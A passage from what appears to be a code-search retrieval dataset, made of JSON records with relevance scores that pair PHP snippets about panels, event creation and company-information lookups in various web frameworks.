"" }, { "docid": "56ddc1b1714d285f52e247c45d151190", "score": "0.4754162", "text": "public function customizerPanels()\n {\n \\Kirki::add_panel(self::PANEL_ID, array(\n 'priority' => 80,\n 'title' => esc_attr__('Header', 'municipio'),\n 'description' => esc_attr__('Header settings', 'municipio'),\n ));\n\n \\Kirki::add_panel('panel_header_widgets', array(\n 'priority' => 80,\n 'title' => esc_attr__('Header widgets', 'municipio'),\n 'description' => esc_attr__('Header settings', 'municipio'),\n ));\n }", "title": "" }, { "docid": "1873ff49a29ccd46ebf738df156ba8ab", "score": "0.4752106", "text": "public function panelImage()\n {\n }", "title": "" }, { "docid": "dac9231ab72a8cef37f8cce4038463f9", "score": "0.4750028", "text": "public function getPanel()\n\t{\n\t\t$items = $this->items;\n\t\tob_start();\n\t\trequire_once __DIR__ . \"/callback.panel.latte\";\n\t\treturn ob_get_clean();\n\t}", "title": "" }, { "docid": "225853a197ce5d69d808dc0f4c5f7584", "score": "0.47499597", "text": "public function onCreate(MarkupCreateEvent $event)\n {\n if ($event->getType() != 'bbcode') {\n return;\n }\n\n $decoda = $event->getParser();\n\n if (!$decoda) {\n throw new \\Exception(\n 'AnhContentBundle should be initialized before AnhContentChartsBundle.'\n );\n }\n\n $decoda->addFilter(new TableFilter());\n $decoda->addFilter(new ChartFilter());\n $decoda->addHook(new ChartHook());\n\n $event->setParser($decoda);\n }", "title": "" }, { "docid": "0d4f8d1ae9e6f572392dad7c6a7d84aa", "score": "0.4748427", "text": "public function onSegnalazioneCreation(SegnalazioneWasCreated $event) {\n\n logger('seg');\n $this->mailer->sendMailForSegnalazioneCreation($event->segnalazione);\n\n }", "title": "" }, { "docid": "75a9ad36e42f26f8da33a266a534d338", "score": "0.47456878", "text": "protected function Form_Create() {\n\t\t\t$this->tnvExample = new QTreeNav($this);\n\t\t\t$this->tnvExample->CssClass = 'treenav';\n\t\t\t$this->tnvExample->AddAction(new QChangeEvent(), new QAjaxAction('tnvExample_Change'));\n\n\t\t\t$this->pnlCode = new QPanel($this);\n\t\t\t$this->pnlCode->CssClass = 'codeDisplay';\n\n\t\t\t$this->objDefaultWaitIcon = new QWaitIcon($this);\n\n\t\t\t// Create a treenav of the file/folder directory for qcodo includes\n\t\t\t$this->tnvExample_AddItems(dirname(__INCLUDES__ . '.'));\n\t\t}", "title": "" }, { "docid": "889c2f3224dec1e9de755f494b696bb3", "score": "0.47452316", "text": "public function create()\n {\n $this->resetInputFields();\n $this->openModal();\n }", "title": "" }, { "docid": "889c2f3224dec1e9de755f494b696bb3", "score": "0.47452316", "text": "public function create()\n {\n $this->resetInputFields();\n $this->openModal();\n }", "title": "" }, { "docid": "eb2d7bb46fb733c5dfa989d163136e44", "score": "0.47451007", "text": "private function createListener()\n {\n $listen = stream_socket_server(\"tcp://$this->bindAddress\");\n $this->streams->addStream($listen, 'listener');\n }", "title": "" }, { "docid": "95996310fccda1c111644a34a252ba91", "score": "0.47450247", "text": "public function createSection()\n {\n $this->openSectionModalPopover();\n }", "title": "" }, { "docid": "e9636e14a10c37aefa827b9de2a6aa99", "score": "0.4741747", "text": "function widgets_add_to_panel($context, $handler)\n\t{\n\t\t$user = user_get_current();\n\t\tif (($context) && ($handler) && ($user)) {\n\t\t\t$widget = new Widget();\n\t\t\t\n\t\t\t$widget->setHandler($handler);\n\t\t\t$widget->setContext($context);\n\t\t\t$widget->setOrder();\n\t\t\t$widget->owner_guid = $user->guid;\n\t\t\n\t\t\tif ($widget->save()) return true;\n\t\t}\n\t\t\n\t}", "title": "" }, { "docid": "afcdcf5b6dafcdcf6e4c76dbc20fa2e0", "score": "0.47318444", "text": "public function getPanel() {\n\t\treturn $this->panel;\n\t}", "title": "" }, { "docid": "7794bc106917380b72d2603583c154b4", "score": "0.47282675", "text": "public function create()\n {\n /*\n |--------------------------------------------------------------------------\n | 不用新增页面\n |--------------------------------------------------------------------------\n |\n | 对老师来说, 最方便的流程应该是在 @index 按下新增按钮后\n | 直接 post @store 自动产生一个从今天开始为期七天有效的 channel,\n | 画面重整后直接跳出该 channel 的 QRCode Modal.\n |\n */\n }", "title": "" }, { "docid": "a96304562fb887bf334d37fe4b6bc901", "score": "0.4724662", "text": "function superfood_elated_add_admin_panel($attributes) {\n $title = '';\n $name = '';\n $hidden_property = '';\n $hidden_value = '';\n $hidden_values = array();\n $page = '';\n\n extract($attributes);\n\n if(isset($page) && !empty($title) && !empty($name) && superfood_elated_framework()->eltdOptions->adminPageExists($page)) {\n $admin_page = superfood_elated_framework()->eltdOptions->getAdminPage($page);\n\n if(is_object($admin_page)) {\n $panel = new SuperfoodElatedClassPanel($title, $name, $hidden_property, $hidden_value, $hidden_values);\n $admin_page->addChild($name, $panel);\n\n return $panel;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "7dc62c57d091b338654332f525724d9a", "score": "0.4706225", "text": "public static function onWallEntryControlsInit($event)\n {\n $event->sender->addWidget(ReportPostWidget::class, [\n 'post' => $event->sender->object\n ]);\n }", "title": "" }, { "docid": "a4b20695ed1ebf8862b49bdbef13e806", "score": "0.4702922", "text": "function __construct()\n\t{\n\t\t$this->events[\"BeforeShowAdd\"]=true;\n\n\t\t$this->events[\"BeforeShowEdit\"]=true;\n\n\n\t\t$this->events[\"IsRecordEditable\"]=true;\n\n\t\t$this->events[\"BeforeMoveNextList\"]=true;\n\n\n//\tonscreen events\n\n\t}", "title": "" }, { "docid": "3688ded170d4b397db8003a1b1c66baf", "score": "0.47025582", "text": "public function __construct()\n {\n event_trigger('mw.init');\n }", "title": "" }, { "docid": "99aaab1f507ec767edca89f5e22b28e9", "score": "0.46937487", "text": "public function Create()\n\t\t{\n\t\t\tparent::Create();\n\n\t\t\t$this->ConnectParent(\"{CFDFE5FC-C6AE-F6EB-D449-89A2A1F25794}\");\n\t\t}", "title": "" }, { "docid": "8be6774fb83f931b58dace3df893114f", "score": "0.46826237", "text": "static function initOverlay()\n\t{\n\t\tglobal $tpl;\n\t\t\n\t\t$tpl->addJavaScript(\"./Services/YUI/js/\".self::$ver.\"/yahoo-dom-event/yahoo-dom-event.js\");\n\t\t$tpl->addJavaScript(\"./Services/YUI/js/\".self::$ver.\"/container/container_core-min.js\");\n\t\tself::addContainerCss();\n\t}", "title": "" }, { "docid": "e405f6f71aba70dd15f2abec22fa2d72", "score": "0.46693143", "text": "public function creating_event(){\n return true;\n }", "title": "" }, { "docid": "e76ede3dd28f30cedbf5af654f278442", "score": "0.46677735", "text": "public static function initListeners() {\n\t\t\n\t}", "title": "" }, { "docid": "315e9ea6db95ee21c55fcd32a8f1c0a2", "score": "0.46675968", "text": "public function OnCreate( $parameters );", "title": "" }, { "docid": "7b55a874bccc072ec3cd52b68dff1aa8", "score": "0.46637645", "text": "protected function createdEvent(EntityInterface $entity) {\n $className = $this->createEventName();\n $this->dispatcher->dispatch($className.'.creation', new BaseEvent($entity));\n }", "title": "" }, { "docid": "b36a5dba9c4080c258f13186e0904e06", "score": "0.46634936", "text": "public function create() {\n if ( $this->f3->exists( 'POST.create' ) ) {\n $event = new Event( $this->db );\n $event->add();\n\n $this->f3->reroute( '/esuccess/New event Created' );\n } else {\n $this->f3->set( 'page_head', 'Create Event' );\n $this->f3->set( 'view', 'event/create.htm' );\n $this->f3->set( 'type', 'event' );\n }\n\n }", "title": "" }, { "docid": "e5e4b7e8035e49d96a1c05b0ab11c815", "score": "0.46600688", "text": "public function create(){\n \n /** 2. Xu ly function now **/\n if (is_post()) {\n $this->postCreate();\n }\n\n // 3. Xu ly data to view\n $data = array(\n 'reg_nav_menu' => $this->system->registerNavMenu(),\n );\n $this->loadView($this->view, $data);\n }", "title": "" }, { "docid": "cc132c477675bdffc5cfb0674314f3c4", "score": "0.4651841", "text": "function post_addItem() {\n if (isset($this->fields['level']) && $this->fields['level'] <= 3) {\n $message_type = \"\";\n if (isset($this->fields['type']) && $this->fields['type'] != 'system') {\n $message_type = \"[\".$this->fields['type'].\" \".$this->fields['id'].\"] \";\n }\n\n $full_message = \"[\".$this->fields['service'].\"] \".\n $message_type.\n $this->fields['level'].\": \".\n Toolbox::stripslashes_deep($this->fields['message']).\"\\n\";\n\n Toolbox::logInFile(\"event\", $full_message);\n }\n }", "title": "" }, { "docid": "ef4de4df96569ad8c0b55ae5319083d4", "score": "0.465171", "text": "public function run()\n\t{\n\t\t$preHeading = '';\n\t\tif (!empty($this->navItems)) {\n\t\t\t$preHeading = Nav::widget([\n\t\t\t\t'options' => $this->navOpts,\n\t\t\t\t'items' => $this->navItems,\n\t\t\t\t'encodeLabels' => false,\n\t\t\t]);\n\t\t}\n\n\t\t// Create the listgroup\n\t\tif (!empty($this->data)) {\n\t\t\t$lgdata = Html::listGroup($this->data);\n\t\t} else {\n\t\t\t$lgdata = '';\n\t\t}\n\n\t\t// Set the listgroups position\n\t\tif ($this->listGroupPosition == self::LISTGROUP_PREBODY) {\n\t\t\t$this->preBody = $lgdata . $this->preBody;\n\t\t} else {\n\t\t\t$this->postBody = $lgdata . $this->postBody;\n\t\t}\n\n\t\t// Render the panel\n\t\treturn Html::panel([\n\t\t\t'heading' => '<h3 class=\"panel-title\">' . $this->heading . '</h3>',\n\t\t\t'preHeading' => $preHeading,\n\t\t\t'preBody' => $this->preBody,\n\t\t\t'postBody' => $this->postBody,\n\t\t\t'footer' => $this->footer,\n\t\t\t'body' => $this->body,\n\t\t]);\n\n\t}", "title": "" }, { "docid": "5d61d70887cd60f76789785f092ba7b4", "score": "0.464554", "text": "public function getHook()\n\t{\n\t\treturn 'sproutformsAddEventListener';\n\t}", "title": "" }, { "docid": "2c5488820989507c8e176e36780822e8", "score": "0.46428013", "text": "public function getPanel()\n {\n return false;\n }", "title": "" }, { "docid": "4b7126700e0ee9385295427c2a9eb5dd", "score": "0.46427035", "text": "public function create()\n {\n //Not in use because form is on the timeline page\n }", "title": "" }, { "docid": "b0ae0624f08316f8511f4d62241464f8", "score": "0.46384883", "text": "function ncurses_show_panel($panel) {}", "title": "" }, { "docid": "dbe103e8a64c8782953f7f857af6166a", "score": "0.46323588", "text": "public function create_onSave()\n\t{\n\t\t$this->context = 'create';\n\t\treturn $this->processSave();\n\t}", "title": "" }, { "docid": "e09277f765f0749626b9aa3f30af505c", "score": "0.46308193", "text": "public function onControllerShow(\\Tk\\Event\\Event $event) {}", "title": "" }, { "docid": "185b636bf144a2994130fc92b7fd3d81", "score": "0.4621517", "text": "public static function add_panel( $id = '', $args = array() ) {\n\t\tif ( class_exists( 'Kirki' ) ) {\n\t\t\tKirki::add_panel( $id, $args );\n\t\t}\n\t}", "title": "" }, { "docid": "751f29cdb40643d2e5346a7f6e7c0aa6", "score": "0.461981", "text": "protected function Form_Create() {\n\t\t\t$this->ctlCustom = new QSampleControl($this);\n\n\t\t\t// Note that custom controls can act just like regular controls,\n\t\t\t// complete with events and attributes\n\t\t\t$this->ctlCustom->Foo = 'Click on me!';\n\t\t\t$this->ctlCustom->AddAction(new QClickEvent(), new QAlertAction('Hello, world!'));\n\t\t}", "title": "" }, { "docid": "3287c7766188bb093c7942b80cde6c24", "score": "0.46139193", "text": "public function create()\n\t{\n\t\t$this->layout->title = 'Nuevo Elemento';\n\t\t$this->layout->titulo = $this->titulo_text;;\n\t\t$this->layout->nest(\n\t\t\t'content',\n\t\t\t'menus.create'\t\t\t\n\t\t);\n\t}", "title": "" }, { "docid": "61bdeb8b2c58b383816795831896ea51", "score": "0.4609783", "text": "public static function add_panel( $id = '', $args = array() ) {\n\n\t\tif ( class_exists( 'Kirki' ) ) {\n\t\t\tKirki::add_panel( $id, $args );\n\t\t}\n\t}", "title": "" }, { "docid": "72835b6b83f84b61a26ca3bcdcd78718", "score": "0.46092117", "text": "function ajax_create_container(){\r\n\t\t$this->verify_ajax_request();\r\n\t\t$container = $this->ajax_check_container();\r\n\t\t$this->create_container_for_ajax($container);\r\n\t}", "title": "" } ]
c6c985bb75e5140cbe9fece9cb30f4d7
========================= ========================== COMPANY INFO ========================= ========================= FETCH COMPANY INFO
[ { "docid": "f106b16f4b226ae771dcfa568688145e", "score": "0.63443893", "text": "function fetch_company_info(){\n \t\t$this->db->select('*');\n \t\t$this->db->from('company');\n \t\t$this->db->where('ID', 1);\n \t\t$query=$this->db->get();\n \t\tif($query->num_rows()==1){\n \t\t\treturn $query->row();\n \t\t}\n \t\telse{\n \t\t\treturn false;\n \t\t}\n \t}", "title": "" } ]
[ { "docid": "ad5b3b04c53291e058a60cef0e987aed", "score": "0.6793983", "text": "public function getCompany() {}", "title": "" }, { "docid": "6f754f10f7c0faa1b7b01058dc2ce010", "score": "0.6584324", "text": "public function actionGetCompanyInfo()\n {\n if (Yii::app()->request->isAjaxRequest && isset($_POST['comId'])) {\n $comId = intval($_POST['comId']);\n if ($comId > 0) {\n $company = Companies::model()->with('adreses', 'client')->findByPk($comId);\n $client = $company->client;\n $adress = $company->adreses[0];\n\n $condition = UsersClientList::getClientAdminCondition($client->Client_ID);\n $clientAdmins = UsersClientList::model()->find($condition);\n\n $adminPerson = '';\n if ($clientAdmins) {\n $clientAdmin = Users::model()->with('person')->findByPk($clientAdmins->User_ID);\n $adminPerson = $clientAdmin->person;\n }\n\n $lastDocument = W9::getCompanyW9Doc($client->Client_ID);\n\n $this->renderPartial('company_info_block', array(\n 'company' => $company,\n 'adress' => $adress,\n 'adminPerson' => $adminPerson,\n 'lastDocument' => $lastDocument,\n ));\n }\n }\n }", "title": "" }, { "docid": "bbd1310e5ddb5a2cff3dbb0c4f47bfab", "score": "0.65807074", "text": "public function load_company_data(){\n\t\t// fetch the companies\n\t\t$comp_list = $this->TskPlan->TskCustomer->find('list', array('fields' => array('id','company_name'), 'order' => array('company_name ASC'),'conditions' => array('is_deleted' => 'N', 'status' => '1')));\n\t\t$this->set('compList', $comp_list);\n\t}", "title": "" }, { "docid": "135d2b6f3463c9e8faa7d30ca8ea159d", "score": "0.65118986", "text": "function demoGetUserAndCompany() {\n \n echoln(\"<h3>demoGetUserAndCompany</h3>\");\n echoln(\"Getting companies and users ...\"); \n \n $user = new User(\"dmaier\");\n $user->get();\n echoln(\"user = \" . $user->first_name . \" \" . $user->last_name);\n \n $company = new Company(\"couchbase.com\");\n $company->get();\n echoln(\"company = \" . $company->name);\n echoln(\"employee #1 = \" . $company->users[0]->last_name);\n echoln(\"employee #2 = \" . $company->users[1]->last_name);\n \n }", "title": "" }, { "docid": "1d320f0c5f4b6c1a52f48c5dfe51f766", "score": "0.64938974", "text": "protected function getCompanies()\n\t{\n\t\t$enterprise = EnterpriseData::getCompany($this->target_name);\n\t\treturn EnterpriseData::getCompanyProperties($enterprise);\n\t}", "title": "" }, { "docid": "289839bcd614677387fc86fb8bcf67f9", "score": "0.6488874", "text": "public function getInfosCompanyAttribute()\n {\n return $this->exists ? $this->attributes['infos_company'] : SettingsERP::instance()->compagny_name;\n }", "title": "" }, { "docid": "b0fb67d34e448851f7fe40d00b340b2f", "score": "0.6444832", "text": "function get_companies_list() {\n return get_view_data('org_list');\n}", "title": "" }, { "docid": "2bc0cab2d12931de6537c50e83fb0e27", "score": "0.64326954", "text": "public function getRiaCompanyInformation()\n {\n if ($this->hasSubDomain()) {\n return $this->repository->findOneBy(['slug' => $this->getSubDomain()]);\n }\n\n return;\n }", "title": "" }, { "docid": "02500d7e7c86a628bf4728e16c0f1a6c", "score": "0.64158946", "text": "public function m_getSelectCompany(){\n $sql = \"select COMPANYID,COMPANYNAME from ADM_COMPANY\";\n $data = $this->db->query($sql)->result();\n return $data;\n }", "title": "" }, { "docid": "5ca07448ebafe78469b6b4f5f83235b1", "score": "0.64063346", "text": "function getAllCompanies()\n\t{\n\t\t$sql = \"SELECT company_id, company_name FROM companies;\";\n\t\treturn db_loadHashList($sql);\t\t\n\t}", "title": "" }, { "docid": "035702c68b195a7f2e2f1c8a8877f965", "score": "0.63661385", "text": "public function get_company() \n {\n return $this->company;\n }", "title": "" }, { "docid": "cfa4c8069e5c3475a218cb112b2efcbf", "score": "0.6304055", "text": "public function companies();", "title": "" }, { "docid": "6028fc43e53867e0b54294db63bc1794", "score": "0.6266678", "text": "public function fetchInfo ()\r\n {\r\n $company_id = $this->getCompany_id(true);\r\n $info = $this->getMapper()->fetchInfo($company_id);\r\n if (empty($info)) {\r\n return false;\r\n } else {\r\n $this->setOptions($info);\r\n return $this;\r\n }\r\n }", "title": "" }, { "docid": "52c291109f2fa357489aee40dcfff029", "score": "0.62369674", "text": "function getAllCompanies(PDO $dbh){\n\n $sql = $dbh->prepare(\"SELECT cc.id, cc.display_name, ca.street_address, ca.city\n FROM civicrm_contact cc\n LEFT JOIN civicrm_address ca\n ON cc.id = ca.contact_id\n WHERE cc.contact_type='Organization' \n AND cc.is_deleted = '0'\n ORDER BY cc.display_name\");\n $sql->execute();\n $result = $sql->fetchAll(PDO::FETCH_ASSOC);\n $companies = array();\n\n foreach($result as $key => $value){\n \n $id = $value[\"id\"];\n /**$orgName = $value[\"display_name\"];\n $companies[$id] = $orgName;**/\n $companies[$id] = $value;\n }\n\n return $companies;\n\n}", "title": "" }, { "docid": "5740e71b7ada7ef11863bba8ce011b97", "score": "0.6225218", "text": "public function getCompany() {\n return Companies::findById($this->company_id);\n }", "title": "" }, { "docid": "29c9d53aef25b4827068d1a11c649957", "score": "0.6157631", "text": "public function getAuthorcompany() {}", "title": "" }, { "docid": "262c2f1e2891fcc81c3eafdffbe60983", "score": "0.61503786", "text": "function getCostAccountCompany(){\n\treturn campo('config_system','id','1','cost_account_company');\n}", "title": "" }, { "docid": "4f46edf54c489df871b9201caefe98f0", "score": "0.6140481", "text": "public function getAllCompanies(){\n\t\t$path=\"../db/data.json\";\n\t\t$file=$this->getData($path);\n\t\n\t\t$arrayFile = json_decode($file, true);\n\t\n\t\treturn $arrayFile['companies'];\n\t}", "title": "" }, { "docid": "0dc1629d1c3eea691b14df1dd9c49a7d", "score": "0.61231667", "text": "protected function _getCieloCompanyInfo()\n {\n $xml =\n '<dados-ec>' .\n '<numero>' . $this->_getCompanyId() . '</numero>' .\n '<chave>' . $this->_getAccessKey() . '</chave>' .\n '</dados-ec>';\n return $xml;\n }", "title": "" }, { "docid": "ba3291ec1259df9842fe72a15cb5f4d5", "score": "0.6111188", "text": "public function get_company() {\n\t\treturn $this->company;\n\t}", "title": "" }, { "docid": "2a6bc6ffd241e83132018440cdf3f810", "score": "0.60559666", "text": "public function getCompany()\n {\n return $this->company;\n }", "title": "" }, { "docid": "2a6bc6ffd241e83132018440cdf3f810", "score": "0.60559666", "text": "public function getCompany()\n {\n return $this->company;\n }", "title": "" }, { "docid": "963dfe624daf98192f916bd61a9129e6", "score": "0.60265553", "text": "public function company(): string\n {\n return $this->getData('CompanyName');\n }", "title": "" }, { "docid": "4dbd652140ea74f9159c9cf2b1b15216", "score": "0.60246634", "text": "public function get_company()\n {\n $sql =\n \"SELECT *\n FROM dbmc.company \";\n $query = $this->db->query($sql);\n return $query;\n }", "title": "" }, { "docid": "2f4d90eccd5fed2c0b4f9d53c0e0b95d", "score": "0.6020542", "text": "public function company()\n {\n return $this->business();\n }", "title": "" }, { "docid": "47e0f52e794685aaef21c08171e372ba", "score": "0.6014882", "text": "function getCostCompanyBusinessCard(){\n\treturn campo('config_system','id','1','cost_company_bc');\n}", "title": "" }, { "docid": "259e61e91675ff3a2f2be014ef4012c6", "score": "0.59920037", "text": "public function getCompany()\n {\n return $this->_company;\n }", "title": "" }, { "docid": "259e61e91675ff3a2f2be014ef4012c6", "score": "0.59920037", "text": "public function getCompany()\n {\n return $this->_company;\n }", "title": "" }, { "docid": "ce5ac1101593894124a439a250bbf301", "score": "0.59909534", "text": "function getCompanyInfo($userName)\n {\n $data = [$userName];\n $output = $this->queryData('//QueryGetCompanyInfo','//columnGetCompanyInfo', $data);\n $company = [];\n foreach($output as $tuple) {\n $keys = array_keys($tuple);\n $i = 0;\n foreach ($tuple as $data) {\n if ($keys[$i] == 'solarFactoryInfo') {\n $array = json_decode($data,true);\n $company[$keys[$i]] = $array; //= $this->addFactoryInfo($company, $array);\n } else {// parse and save to $weather\n $company[$keys[$i]] = $data;\n }\n $i++;\n }\n }\n return $company;\n }", "title": "" }, { "docid": "94186ce63b012f23471708f2dd542a49", "score": "0.5963469", "text": "public function getAllCompanies()\n {\n $url = vsprintf(self::ENDPOINT_FIND_BY_UUID, ['']);\n $hubUrl = $this->hub->setToken('', true);\n return $hubUrl->request->get($url)->throw();\n }", "title": "" }, { "docid": "83dcfdd3790b0364b7127612aa416fc7", "score": "0.59627014", "text": "public function get_info();", "title": "" }, { "docid": "e98a01dc3fb936bc74c921de25e17d49", "score": "0.5936154", "text": "static function lookupOwner()\n {\n static $cache = false;\n if ($cache !== false) {\n return clone($cache); // no updating this object..\n }\n \n $enum = DB_DataObject::Factory('core_enum')->lookup('COMPTYPE', 'OWNER' );\n $companies = DB_DataObject::factory('core_company');\n $companies->comptype_id = $enum;\n if ($companies->find(true)) {\n $cache = clone($companies);\n return $companies;\n }\n return false;\n }", "title": "" }, { "docid": "79d5a62b3b9a9bb4ac480f5be8f37666", "score": "0.5929093", "text": "public function getYomiCompany()\n {\n return $this->getProperty(\"YomiCompany\");\n }", "title": "" }, { "docid": "4886416dd91d512bae84a112e268eca5", "score": "0.59172344", "text": "public function get_company_name(){\n\t\treturn $this->v_company_name;\n\t}", "title": "" }, { "docid": "1c7020312874246b9dacee2ef2ac0e03", "score": "0.5914514", "text": "public function retrieve_company()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('company_information');\n\t\t$this->db->limit('1');\n\t\t$query = $this->db->get();\n\t\tif ($query->num_rows() > 0) {\n\t\t\treturn $query->result_array();\t\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "1c7020312874246b9dacee2ef2ac0e03", "score": "0.5914514", "text": "public function retrieve_company()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('company_information');\n\t\t$this->db->limit('1');\n\t\t$query = $this->db->get();\n\t\tif ($query->num_rows() > 0) {\n\t\t\treturn $query->result_array();\t\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "1c7020312874246b9dacee2ef2ac0e03", "score": "0.5914514", "text": "public function retrieve_company()\n\t{\n\t\t$this->db->select('*');\n\t\t$this->db->from('company_information');\n\t\t$this->db->limit('1');\n\t\t$query = $this->db->get();\n\t\tif ($query->num_rows() > 0) {\n\t\t\treturn $query->result_array();\t\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "64d1a1ad32bcf0b2a853451572facae4", "score": "0.5889187", "text": "public function company() : string\n\t{\n\t\treturn defined('COMPANY') ? COMPANY : \"Company is not defined\";\n\t}", "title": "" }, { "docid": "3d06efb953b9470c0b8ff8e54a240c8f", "score": "0.5884213", "text": "function getInfo()\n\t{\n\t\treturn array_merge($this->getDeveloperInfo(), $this->getContact()->getInfo());\n\t}", "title": "" }, { "docid": "6f38f7ba718e65e7fe54da2e98e5dd11", "score": "0.5869128", "text": "public static function company () : string\n\t{\n\t\treturn defined('COMPANY') ? COMPANY : \"Company is not defined\";\n\t}", "title": "" }, { "docid": "9a0922a0738e7f36b6a674c37559dc90", "score": "0.5868033", "text": "private function getcompanyfields()\n {\n $fields = array(\n \"name\",\n \"ernnumber\",\n \"websiteurl\",\n \"description\",\n \"address1_line1\",\n \"address1_line2\",\n \"address1_line3\",\n \"address1_city\",\n \"address1_postalcode\",\n \"numberofemployees\"\n );\n foreach ($this->JobArray as $key => $value) {\n if (in_array($key, $fields)) {\n $this->companyfields[$key] = $value;\n unset($this->JobArray[$key]);\n }\n if ($key == \"employerpostcode\") {\n $this->companyfields[\"address1_postalcode\"] = $value;\n }\n }\n saveLog(\"debug company fields:\" . print_r($this->companyfields, true));\n }", "title": "" }, { "docid": "f148800d0444accf8073b3078e7098e1", "score": "0.58630395", "text": "function wpsc_matc_get_companions_for( $product ) {\n\n}", "title": "" }, { "docid": "bfad17765a7eade0721e494ab4ec409d", "score": "0.58337384", "text": "function companyDetails()\n {\n $this->db->select('cs.*,(c.name)as country_name,(s.name)as state_name,(ct.name)as city_name');\n $this->db->from('company_settings cs');\n $this->db->join('countries c','c.id=cs.country_id');\n $this->db->join('states s','s.id=cs.state_id');\n $this->db->join('cities ct','ct.id=cs.country_id');\n $query = $this->db->get();\n return $query->row();\n }", "title": "" }, { "docid": "8b22418f166a84a4b2df92923fc19439", "score": "0.5827844", "text": "private function listCompanies()\n\t{\n\t\t$companies = DB::table('companies')->select('companies.id','companies.name')->get();\t\n\t\t\t\n\t\treturn $companies;\n\t}", "title": "" }, { "docid": "286c6c0653750b0fb988a03e4fc98ed6", "score": "0.5824934", "text": "public function retrieve_company() {\n $this->db->select('*');\n $this->db->from('company_information');\n $this->db->limit('1');\n $query = $this->db->get();\n if ($query->num_rows() > 0) {\n return $query->result_array();\n }\n return false;\n }", "title": "" }, { "docid": "144b2c4bb8629b36e0a088d421d1b61f", "score": "0.5792032", "text": "public function get_company_code(){\n\t\treturn $this->v_company_code;\n\t}", "title": "" }, { "docid": "d813eee98f8ee86ac1885a56fc412686", "score": "0.5784502", "text": "public function getInformation();", "title": "" }, { "docid": "0f1abe564eebe31932cfa58d649c80cf", "score": "0.5780048", "text": "public function getCompanyName() {\n $company_id = $this->session->userdata('company_id');\n\n $path = base_url();\n $url = $path . 'api/admin/Employee_api/getCompanyName?company_id=' . $company_id;\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n // authenticate API\n curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_DIGEST);\n curl_setopt($ch, CURLOPT_USERPWD, API_USER . \":\" . API_PASSWD);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($ch, CURLOPT_HTTPGET, 1);\n $output = curl_exec($ch);\n //close cURL resource\n curl_close($ch);\n $response = json_decode($output, true);\n //print_r($output);die();\n return $response;\n }", "title": "" }, { "docid": "d104ea4996df64f8c894da66c8c6acfa", "score": "0.5778113", "text": "public function hasCompanyInfo()\n {\n $result = false;\n if ($this->getField('company') != '' && $this->getField('companyzipcode') != '') {\n $result = true;\n }\n return $result;\n }", "title": "" }, { "docid": "280e88873db925485393ce7e3f22954b", "score": "0.57769716", "text": "public function getCompany()\n {\n return $this->getParameter('billingCompany');\n }", "title": "" }, { "docid": "ebc717335ddff81c921e74fb0ed082b7", "score": "0.5759588", "text": "public function companylist(){\n \t$company=Company::with('user')->get();\n return json_encode($company);\n }", "title": "" }, { "docid": "f324851eb6096935e5a3d85a89b042f6", "score": "0.5751356", "text": "public function getCompanyDetails(Request $request) {\n $companyId = $request->input('companyId');\n $companyDetails = Company::find($companyId);\n return response()->json($companyDetails);\n }", "title": "" }, { "docid": "9bbf887186e8aca3458eaf9bcfce3134", "score": "0.5749302", "text": "public function fetchDetail(): void\n {\n $request = Certification::$request;\n\n $url = sprintf('%s/projects/%s', Certification::$endpoint, $this->id);\n $payload = $request->get($url)->throw()->json();\n\n $attributes = Arr::get($payload, 'data.attributes');\n\n conmsg(sprintf('Project ID: %s', Arr::get($attributes, 'id')));\n conmsg(sprintf('Project Name: %s', Arr::get($attributes, 'name')));\n conmsg(sprintf('Project Description: %s', Arr::get($attributes, 'description')));\n }", "title": "" }, { "docid": "9e6490c48ccb7cdbbb71ab858dd8b9dd", "score": "0.5736594", "text": "public function getOperatingCompany()\n {\n return $this->operatingCompany;\n }", "title": "" }, { "docid": "51f37df13f8904c8faa1d52c3be79de7", "score": "0.5733611", "text": "public function getAllClinicInfo(){\n $stmt = $this->adapter->conn->prepare(\"SELECT * FROM CLINIC\"); \n $result = null;\n try{\n $result = $this->adapter->executeFetchPrepared($stmt);\n }catch(PDOException $e){\n return null;\n }\n \n return $result;\n }", "title": "" }, { "docid": "919babb9ccb63818918589b7653427e1", "score": "0.5732917", "text": "public function getCompanyName()\n {\n return $this->companyName; \n }", "title": "" }, { "docid": "512ea226776d120dbba86b789bf776b0", "score": "0.5729585", "text": "function get_contacts_by_company($id) {\n return get_view_data_where('org_contact_list', $id);\n}", "title": "" }, { "docid": "eb469d05dd1f394ceecbdb5c1a1c4c81", "score": "0.5696595", "text": "public function getInfo();", "title": "" }, { "docid": "eb469d05dd1f394ceecbdb5c1a1c4c81", "score": "0.5696595", "text": "public function getInfo();", "title": "" }, { "docid": "d89c535030b2888330996cd50e71081f", "score": "0.569023", "text": "public function getCompany()\n\t{\n\t\tif (!isset($this->_r_company)) {\n\t\t\t$filters = [];\n\t\t\tif(!is_null($v = $this->getCompanyId())){\n\t\t\t\t$filters['company_id'] = $v;\n\t\t\t}\n\t\t\tif (empty($filters)){\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t$m = new DYCompaniesControllerRealR();\n\t\t\t$this->_r_company = $m->getItem($filters);\n\t\t}\n\n\t\treturn $this->_r_company;\n\t}", "title": "" }, { "docid": "d89c535030b2888330996cd50e71081f", "score": "0.569023", "text": "public function getCompany()\n\t{\n\t\tif (!isset($this->_r_company)) {\n\t\t\t$filters = [];\n\t\t\tif(!is_null($v = $this->getCompanyId())){\n\t\t\t\t$filters['company_id'] = $v;\n\t\t\t}\n\t\t\tif (empty($filters)){\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t$m = new DYCompaniesControllerRealR();\n\t\t\t$this->_r_company = $m->getItem($filters);\n\t\t}\n\n\t\treturn $this->_r_company;\n\t}", "title": "" }, { "docid": "dbfc816c7bcf7008860499bfa2442391", "score": "0.5689667", "text": "function printCompanyInfo() {\n if(!$this->valid):\n return;\n endif;\n \n echo \"Name: \".$this->name.\"<br>\";\n echo \"Brief: \".$this->brief.\"<br>\";\n echo \"Description: \".$this->description.\"<br>\";\n echo \"Date-founded: \".$this->date_founded.\"<br>\";\n echo 